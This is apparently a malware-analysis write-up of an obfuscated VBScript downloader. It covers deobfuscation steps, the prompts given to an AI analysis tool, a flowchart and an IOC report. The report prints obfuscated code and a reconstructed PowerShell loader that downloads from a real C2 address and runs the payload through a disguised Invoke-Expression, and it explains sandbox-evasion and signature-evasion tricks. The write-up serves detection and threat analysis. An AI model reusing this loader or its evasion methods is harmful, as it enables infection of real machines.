Source
- Malware Bazaar: https://bazaar.abuse.ch/sample/187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b/
- File type: VBS
- Size: 18 KB
Analysis
Obfuscation
There were various forms of obfuscation used in the VBScript.
- Useless comments:
'Skeletonises! prestruggled, petalodies, torpedoplane24, visitere,
'bogholderiet afvandringer altsammen,
'Aktivest, svabres:
- String fragmentation:
Mirthfulnesses = Mirthfulnesses & "function zk_q94 {$samothballasrballas = Gballast-Random -Minimum 10 -Maximum 99;[void][Math]::Sqrt($samothballasrballas)}$forfrdigballasndballasrandbarballass = [Systballasm.Environmballasnt]::TickCount;rv 'philologic43' 'stripling' 'nballascromanciballass';Start-Slballasballasp -Millisballasconds 0;$ombundnballas=-18079+18079;$grundfunktionballasnsndustr"
Mirthfulnesses = Mirthfulnesses & "iministballasrballasns = [Systballasm.IO.Path]::GballastRandomFilballasNamballas();$whuz=-2745+8745;function mv_p12 {$shaharit = [Math]::Max(15, 85);[Systballasm.Guid]::NballaswGuid().ToString() | Out-Null}function dballascimalizballasd ($hypballasrcathartic) { $moroc = Gballast-Random -Minimum 100 -Maximum 500;do {[void][Math]::Abs(-73);$fllballassbillballa"
- String manipulation using VBS
Replacefunction + a timing-derived deterministic key (unique obfuscation strategy, in my experience):
Bastningens = DateAdd("s",8,Now)
Function Pictun()
Pictun = Now
End Function
Do Until (Pictun > Bastningens)
Wscript.Sleep 1000
Brothered = Brothered + 1
Uddelegere = Uddelegere + (Brothered * 2)
Loop
Forskningsanlg = 92 + Brothered
Mirthfulnesses = Replace("function zk_q94 {$samothballasrballas =...","ballas",Chr(Forskningsanlg))
Deobfuscation
Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs
> python .\vbs_strip_comments.py --input C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b.vbs --output C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass1.vbs
{"changed":163,"comment_lines_removed":163,"input_bytes":18115,"output_bytes":10374,"output_path":"C:\\Users\\Ashura\\Desktop\\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass1.vbs"}
> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass1.vbs --output C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass2.vbs
{"changed":25,"substituted_reads":25,"input_bytes":10374,"output_bytes":98576,"output_path":"C:\\Users\\Ashura\\Desktop\\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass2.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass2.vbs --output C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass3.vbs
{"changed":22,"input_bytes":98576,"output_bytes":98466,"output_path":"C:\\Users\\Ashura\\Desktop\\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass3.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass3.vbs --output C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass4.vbs
{"changed":52,"input_bytes":98466,"output_bytes":8318,"output_path":"C:\\Users\\Ashura\\Desktop\\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass4.vbs"}
Functionality
Prompt
/malware-analysis Analyze @C:\Users\Ashura\Desktop\187cccb9071b2cc230dfafec4447de5ac348953a23006756fd4a66ce5e55d19b_pass4.vbs. Write report in markdown format into @report.md It should contain the below sections:
1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs
Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>
You can leverage language-specific deobfuscation utilities that are in @Tools\Inhouse. Usages of them should make it to the report as well.
Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.
Flowchart Prompt
Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2
Flowchart
flowchart TD
A[VBScript starts and creates a Windows shell automation object] --> B[Idle for about 8-9 seconds as an anti-sandbox timing stall]
B --> C[Turn the number of elapsed wait iterations into a decode key]
C --> D[Use the decode key to repair a scrambled embedded string back into a working PowerShell script]
D --> E[Launch the recovered PowerShell script hidden, via the shell object's Exec method]
E --> F[PowerShell defines several decoy functions that are never actually called]
F --> G[PowerShell decodes its internal configuration using Base64 plus a repeating-key XOR cipher]
G --> H[Recovered configuration: C2 URL, legacy HTTP COM object name, spoofed browser User-Agent, HTTP method and headers]
H --> I[Create a legacy HTTP COM object for making web requests]
I --> J{Does the drop file already exist on disk?}
J -- No --> K[Send a synchronous GET request to the C2: http://185.29.10.11/Supersensitizing.hhk, with the spoofed User-Agent]
K --> L{Did the server respond with HTTP 200?}
L -- Yes --> M[Save the response bytes to %APPDATA%\Affiliating.Hys]
M --> J
L -- No --> N[Wait about 4 seconds and rotate to the next configured C2 address, if any]
N --> J
J -- Yes --> O[Read the dropped file back in as text]
O --> P[Base64-decode the file's contents]
P --> Q[Slice out a fixed offset/length chunk from the decoded content]
Q --> R[Execute that chunk as further code via the same disguised command-execution trick]
R --> S[True final payload runs here - its content lives only on the C2 server and was not recovered by static analysis]
Report
Executive Summary
This file is a multi-stage obfuscated downloader. It is a VBScript that:
- Idles for roughly 8–9 seconds (an anti-sandbox timing stall) and uses the exact number of loop iterations that elapsed as a decryption key for the next stage — a design that quietly breaks if a sandbox skips or fast-forwards the delay.
- Uses that key to decode a large embedded string into a second-stage PowerShell script, and launches it hidden (
-windowstyle hidden) viaWScript.Shell.Exec. - The PowerShell stage is itself obfuscated with a custom base64 + repeating-key-XOR cipher, and hides its
Invoke-Expressioncalls behind a dynamically-built command name instead of ever writing the literal string “Invoke-Expression” or “iex”. Once decoded, it repeatedly downloads a file from a hardcoded C2 URL (http://185.29.10[.]11/Supersensitizing.hhk) using a legacyMsxml2.ServerXMLHTTP.6.0COM object (a technique chosen potentially to avoid theInvoke-WebRequest/Net.WebClientcalls that security tooling watches for), and saves it as%APPDATA%\Affiliating.Hys. - It then reads that file back, base64-decodes it, and executes a further chunk of code sliced out of a fixed byte offset inside the decoded content, via the same disguised
Invoke-Expressiontrick.
The true final payload is not contained in this file. It only exists inside the content served by the C2 URL at execution time, so its ultimate capability (backdoor, stealer, ransomware loader, etc.) cannot be determined from this file alone. What is certain from static evidence is that this is a dropper/downloader engineered around three deliberate evasion layers: timing-based anti-sandbox stalling, custom string encoding to defeat static string/YARA scanning, and living-off-the-land HTTP retrieval via a COM object instead of common PowerShell cmdlets.
Details
Stage 1 — VBScript dropper
Shell object and anti-sandbox timing stall
Set Leeks = CreateObject("wscript.Shell")
Bastningens = DateAdd("s",8,Now)
Do Until (Pictun > Bastningens)
Wscript.Sleep 1000
Brothered = Brothered + 1
Uddelegere = Uddelegere + (Brothered * 2)
Loop
Forskningsanlg = 92 + Brothered
Leeks is a WScript.Shell COM object used later to launch the next stage. The Do Until...Loop sets a target time 8 seconds in the future and busy-waits in 1-second increments, counting the number of completed iterations into Brothered. Many automated sandboxes either skip Sleep calls or fast-forward the system clock to save analysis time, which would leave Brothered at (or near) 0 here. Critically, Brothered is not just a stall — it is fed directly into Forskningsanlg, which becomes the decryption key for the entire next stage (below), so a sandbox that defeats the delay also corrupts the decoded payload rather than merely finishing early.
Working through the loop’s arithmetic, under normal execution the loop completes 9 iterations (accumulated overhead from the per-iteration Now call pushes it one iteration past the flat 8×1000ms sleeps), giving:
Brothered = 9→Forskningsanlg = 92 + 9 = 101→Chr(101) = "e"- The accumulator
Uddelegere = Σ(2×i)fori=1..9=90
Way192 = Uddelegere
Uddelegere = Chr(Uddelegere - 10)
Way192 = Chr(Way192 - 21)
Goetia = chrW(34)
Blintze = Uddelegere + "owershell -windowstyle hidden "
Uddelegere (90) becomes Chr(80) = "P", and Blintze becomes the literal string "Powershell -windowstyle hidden ". Way192 (90) becomes Chr(69) = "E". Goetia is just a double-quote character, used later to wrap the payload in quotes on the command line.
Recovering the embedded PowerShell
Mirthfulnesses = Replace("function zk_q94 {$samothballasrballas = Gballast-Random ... [7400+ chars] ...","ballas",Chr(Forskningsanlg))
The entire second-stage payload is stored as one large string in which every identifier has the junk substring ballas spliced into the middle of it (Gballast-Random, Systballasm.Environmballasnt, Chballascksummballas, etc.), and it is repaired in a single Replace() call using the runtime-computed character above. With Chr(Forskningsanlg) = "e", this correctly resolves Gballast-Random → Get-Random, Systballasm.Environmballasnt → System.Environment, Chballascksummballas → Checksumme, confirming the derivation.
Launching the decoded payload hidden
Call Diaphyseal(Blintze & Goetia & Mirthfulnesses & Goetia)
...
Function Diaphyseal(Vulgarly)
Execute "Leeks."+Way192+"xec(Vulgarly)"
End Function
Way192 = "E" makes the Execute string resolve to Leeks.Exec(Vulgarly) — i.e. WScript.Shell.Exec, not the more commonly-flagged .Run. Exec (unlike Run) hands back a process object with live StdIn/StdOut/StdErr handles, which is unnecessary here (the output is discarded) but is a small additional fingerprint-avoidance choice, since some detections specifically watch for .Run invocations of powershell.exe. The final command executed is effectively:
Powershell -windowstyle hidden "<decoded stage-2 PowerShell source>"
Stage 2 — PowerShell loader
Padding/junk functions. The decoded script defines five small functions (zk_q94, mv_p12, tr_k87, hj_w39, xy_m52) that call Get-Random/[Math] and are never invoked anywhere else in the script — pure bulk/noise to inflate the payload and dilute static analysis, confirmed dead by the in-house PsRemove-DeadCode.ps1 tool.
The decode/execute primitives. Three functions do the real work:
function decimalized ($hypercathartic) {
do {
$fllesbilletterne=$hypercathartic[$ombundne]
$fllesbilletterne-=$dipteroi[$ombundne%8]
$hypercathartic[$ombundne]=$fllesbilletterne
$whuz=[char]$hypercathartic[$ombundne]
$extralegally+=$whuz
$ombundne++
} while ($hypercathartic[$ombundne])
$extralegally
}
$dipteroi=@(67,97,118,108,105,110,103,115)
decimalized takes a numeric array and, for each byte at index i, subtracts $dipteroi[i mod 8] (a fixed repeating 8-byte key) and converts the result to a character — a simple bootstrap decoder used only to reveal a handful of small internal literals embedded directly as number arrays in the script (not the main payload strings).
function Firelit ($varmestue) {
.($microcycle) $varmestue
}
...
$microcycle=decimalized @(140,166,206)
Firelit is a disguised Invoke-Expression: .($microcycle) is PowerShell’s dot-source/call operator applied to whatever $microcycle holds. Decoding @(140,166,206) with the algorithm above gives $microcycle = "IEX" — so every Firelit $x call is really . IEX $x, i.e. Invoke-Expression $x. Because the literal string "iex"/"Invoke-Expression" never appears in the script, this specifically defeats naive-signature scanners and was also invisible to the in-house PsAnnotate-Iex.ps1 tool..
Function Checksumme ($hypercathartic,$whosome=0){
$exploratively=decimalized(@(158,164,229,...,217,149)) # -> '[Convert]::FromBase64String($hypercathartic)'
$konsumerede=@(Firelit ($exploratively))
For($grundfunktionens=0; $konsumerede[$grundfunktionens] -ne $uddannelsesorlov; $grundfunktionens++){
$konsumerede[$grundfunktionens] = afviklende $konsumerede[$grundfunktionens] $dipteroi[$grundfunktionens%8]
}
$udsttelsesbegringer=decimalized(@(112,203,...,167,198)) # -> '-join [char[]]$konsumerede'
$forbenene=Firelit ($udsttelsesbegringer)
if ($whosome) { Firelit $forbenene } else { $forbenene }
}
Checksumme is the real payload decoder, called throughout the rest of the script as Checksumme '<base64>' (returns decoded text as data) or Checksumme '<base64>' 1 (decodes and executes the result via Firelit). Decoding its two internal helper snippets (via decimalized, subtraction) shows it: (1) base64-decodes its argument into a byte array, (2) transforms every byte through afviklende, (3) joins the transformed bytes back into a string. Decoding afviklende’s own body the same way gives:
function afviklende ($migrations,$forfrdigende) {
$albinoen=decimalized(@(103,206,...,205,211,144)) # -> '$migrations-bxor($forfrdigende)'
Firelit ($albinoen)
}
So afviklende(byte, key) returns byte -bxor key — the real payload-decode step is base64-decode, then XOR every byte against the same repeating 8-byte key [67,97,118,108,105,110,103,115] (a different operator than the subtraction decimalized uses for its own bootstrap literals — an important distinction, since assuming subtraction for both initially produces garbage for the payload strings).
Decoded configuration values. Applying base64-decode + XOR(key) to every Checksumme '<base64>' argument in the script recovers:
| Purpose | Decoded value |
|---|---|
| C2 URL | http://185.29.10[.]11/Supersensitizing.hhk |
| HTTP client COM object | Msxml2.ServerXMLHTTP.6.0 |
| HTTP method | GET |
| HTTP header name | User-Agent |
| HTTP header value | 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 (note: missing the usual leading Mozilla/, as decoded — reported verbatim) |
| URL-list delimiter | > (script supports multiple >-separated C2 URLs for round-robin retry; only one URL is present in this sample) |
| Drop path (plaintext in source, not encoded) | \Affiliating.Hys, appended to $env:appdata |
Reconstructed execution flow. Decoding every Checksumme '...' 1 (executed) call in source order and reading it as a straight-line program:
$thru = $env:appdata + '\Affiliating.Hys' # %APPDATA%\Affiliating.Hys
$kuppe = $apronless.split('>') # C2 URL list
$rectifiability41 = New-Object -Com 'Msxml2.ServerXMLHTTP.6.0'
$uncoquettishly = (Test-Path $thru) # already downloaded?
$apronless = $kuppe[0]
while (!$uncoquettishly) {
$rectifiability41.open('GET', $apronless, $false) # synchronous GET
$rectifiability41.setRequestHeader('User-Agent', $embolomerous)
$rectifiability41.send()
$minorca = $rectifiability41.status -eq 200
if ($minorca) {
[byte[]]$pelargic13 = $rectifiability41.responseBody
sc $thru $pelargic13 -Encoding Byte # write response to %APPDATA%\Affiliating.Hys
}
Sleep(4)
$uncoquettishly = (Test-Path $thru)
$skramlekasse132 = $kodegenereringens++ % $kuppe.count # round-robin next C2 URL
$apronless = $kuppe[$skramlekasse132]
}
$spaebook = gc $thru # read the file back as text
$Cadencies = [Convert]::FromBase64String($spaebook) # its content is itself base64
$koncepts = [Text.Encoding]::ASCII.GetString($Cadencies)
$flngningers = $koncepts.substring(137280, 20576) # slice out a fixed sub-blob
Firelit $flngningers # execute it (disguised IEX)
In plain terms: the script repeatedly (every 4 seconds, retrying/round-robining across any configured C2 URLs) issues a synchronous GET to the C2 with a spoofed User-Agent using a legacy Msxml2.ServerXMLHTTP.6.0 COM object rather than Invoke-WebRequest/Net.WebClient — a known living-off-the-land technique specifically used to blend HTTP retrieval into normal Windows automation/COM activity and dodge PowerShell-cmdlet-focused detections. Once the download succeeds (HTTP 200), it writes the raw response to %APPDATA%\Affiliating.Hys, stops retrying, reads the file back, treats its content as base64 text, decodes it, pulls out a 20,576-character chunk starting at byte offset 137,280 of the decoded content, and executes that chunk as PowerShell via the same disguised Invoke-Expression mechanism. That final chunk is the true payload and is not present anywhere in the analyzed VBS file — it only exists inside whatever http://185.29.10[.]11/Supersensitizing.hhk serves at the time of infection, which was not retrieved as part of this static analysis.
IOCs
- Network
| Type | Value | Notes |
|---|---|---|
| C2 URL | http://185.29.10[.]11/Supersensitizing.hhk |
Fetched via Msxml2.ServerXMLHTTP.6.0, synchronous GET, spoofed User-Agent. |
| C2 IP | 185.29.10[.]11 |
No public reputation/threat-intel records found for this IP as of 2026-08-13. |
| Spoofed HTTP User-Agent | 5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0 |
Decoded exactly as embedded; note the missing Mozilla/ prefix relative to a standard Firefox UA string. |
- Host:
| Type | Value | Notes |
|---|---|---|
| Dropped file | %APPDATA%\Affiliating.Hys (i.e. C:\Users\<user>\AppData\Roaming\Affiliating.Hys) |
Holds the base64-encoded downloaded content; deleted content is re-read and its offset-137280/length-20576 slice is executed as the final payload. |
| Process launch pattern | powershell -windowstyle hidden "<script>" launched via WScript.Shell.Exec (not .Run) |
Distinctive parent/child pattern: wscript.exe/cscript.exe spawning a hidden powershell.exe with an inline -Command-style quoted script. |